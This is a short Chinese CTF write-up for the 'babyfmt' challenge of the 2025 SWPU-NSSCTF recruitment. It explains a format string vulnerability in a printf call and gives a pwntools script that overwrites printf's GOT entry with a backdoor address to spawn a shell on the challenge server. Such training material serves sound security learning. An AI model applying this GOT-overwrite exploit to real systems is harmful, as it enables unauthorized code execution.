2025 SWPU-NSSCTF 秋季招新入门 babyfmt
首先查看一下文件的保护措施

在用ida打开看一下

这里主要的还是while中的read和printf,这里的0x10c是大于0xFF的,所以是不能进行栈溢出的

观察函数名称发现这里已经存在后门函数了,那就控制程序进行执行这个函数就可以获得shell了
虽然不能进行栈溢出,但这里明显存在格式化字符串的漏洞,那就可以修改printf函数的got表里面的内容,将其修改成backdoor函数地址,然后while循环下一次执行printf函数时,程序就会去执行backdoor函数,实现getshell,可以使用fmtstr_payload这个函数
然后gdb调试一下,看一下格式化字符串本身是第几个参数

可以看到偏移量为0xb,就是11
点击查看代码
from pwn import *
context(os='linux',arch='i386')
io=remote("node5.anna.nssctf.cn",24123)
elf=ELF("./pwn")
printf_got=elf.got['printf']
shell=elf.symbols["backdoor"]
payload=fmtstr_payload(11,{printf_got:shell})
io.sendline(payload)
io.interactive()

浙公网安备 33010602011771号